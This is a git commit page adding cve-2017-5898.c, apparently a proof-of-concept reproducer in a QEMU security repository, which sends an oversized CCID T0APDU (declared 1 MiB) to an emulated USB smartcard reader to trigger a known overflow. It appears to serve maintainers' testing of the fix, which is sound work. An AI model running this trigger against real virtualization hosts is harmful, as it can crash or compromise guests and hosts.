summaryrefslogtreecommitdiffstats
path: root/cve-2017-5898.c
diff options
context:
space:
mode:
authorGerd Hoffmann <kraxel@redhat.com>2017-02-13 13:43:18 +0100
committerGerd Hoffmann <kraxel@redhat.com>2017-02-13 13:43:18 +0100
commit48b9694bce4e53dc6ceadb51423def5a546efef9 (patch)
tree98f359c86b1992b4199720cd8997e88f7e1e08dd /cve-2017-5898.c
parenteb0978fffe5d17f085a441faf68cedc24eea04e1 (diff)
downloadqemu-security-48b9694bce4e53dc6ceadb51423def5a546efef9.tar.gz
add cve-2017-5898.c
Diffstat (limited to 'cve-2017-5898.c')
-rw-r--r--cve-2017-5898.c141
1 files changed, 141 insertions, 0 deletions
diff --git a/cve-2017-5898.c b/cve-2017-5898.c
new file mode 100644
index 0000000..33ed63b
--- /dev/null
+++ b/cve-2017-5898.c
@@ -0,0 +1,141 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+
+#include "usb.h"
+
+#define CCID_MAX_PACKET_SIZE 64
+
+/*
+ * BULK_OUT messages from PC to Reader
+ * Defined in CCID Rev 1.1 6.1 (page 26)
+ */
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn 0x62
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff 0x63
+#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus 0x65
+#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock 0x6f
+#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters 0x6c
+#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters 0x6d
+#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters 0x61
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape 0x6b
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock 0x6e
+#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU 0x6a
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure 0x69
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical 0x71
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort 0x72
+#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73
+
+/*
+ * BULK_IN messages from Reader to PC
+ * Defined in CCID Rev 1.1 6.2 (page 48)
+ */
+#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock 0x80
+#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus 0x81
+#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters 0x82
+#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape 0x83
+#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84
+
+/*
+ * INTERRUPT_IN messages from Reader to PC
+ * Defined in CCID Rev 1.1 6.3 (page 56)
+ */
+#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange 0x50
+#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError 0x51
+
+/*
+ * Endpoints for CCID - addresses are up to us to decide.
+ * To support slot insertion and removal we must have an interrupt in ep
+ * in addition we need a bulk in and bulk out ep
+ * 5.2, page 20
+ */
+#define CCID_INT_IN_EP (1 | 0x80)
+#define CCID_BULK_IN_EP (2 | 0x80)
+#define CCID_BULK_OUT_EP (3)
+
+typedef struct __attribute__((packed)) CCID_Header {
+ uint8_t bMessageType;
+ uint32_t dwLength;
+ uint8_t bSlot;
+ uint8_t bSeq;
+} CCID_Header;
+
+typedef struct __attribute__((packed)) CCID_BULK_IN {
+ CCID_Header hdr;
+ uint8_t bStatus; /* Only used in BULK_IN */
+ uint8_t bError; /* Only used in BULK_IN */
+} CCID_BULK_IN;
+
+typedef struct __attribute__((packed)) CCID_SlotStatus {
+ CCID_BULK_IN b;
+ uint8_t bClockStatus;
+} CCID_SlotStatus;
+
+int main(int argc, char *argv[])
+{
+ int len, xlen, pos, xfered, rc;
+ uint8_t buf[CCID_MAX_PACKET_SIZE];
+ CCID_Header *hdr = (void*)&buf;
+ CCID_SlotStatus *slot = (void*)&buf;
+
+ find_device("smartcard reader", 0x08e6, 0x4433);
+ fprintf(stderr, "init ok\n");
+ sleep(1);
+
+ /* ------------------------------------------------------------ */
+
+ fprintf(stderr, "checking slot status ...\n");
+ memset(buf, 0, sizeof(buf));
+ hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
+ hdr->dwLength = len = 10;
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
+
+ memset(buf, 0, sizeof(buf));
+ len = sizeof(CCID_SlotStatus);
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
+ fprintf(stderr, "status: 0x%x, error: 0x%x\n",
+ slot->b.bStatus, slot->b.bError);
+ if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) {
+ fprintf(stderr, "bad slot status (no card?)\n");
+ exit(1);
+ }
+ fprintf(stderr, "... ok\n");
+
+ /* ------------------------------------------------------------ */
+
+ fprintf(stderr, "sending extra large apdu\n");
+ memset(buf, 0, sizeof(buf));
+ hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU;
+ hdr->dwLength = len = 1024 * 1024;
+ pos = 0;
+ while (pos < len) {
+ xlen = (len - pos);
+ if (xlen > CCID_MAX_PACKET_SIZE)
+ xlen = CCID_MAX_PACKET_SIZE;
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
+ buf, xlen, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ pos += xfered;
+ fprintf(stderr, "\r%d/%d ", pos, len);
+ memset(buf, 0xaa, sizeof(buf));
+ }
+ fprintf(stderr, "done\n");
+
+ exit(0);
+}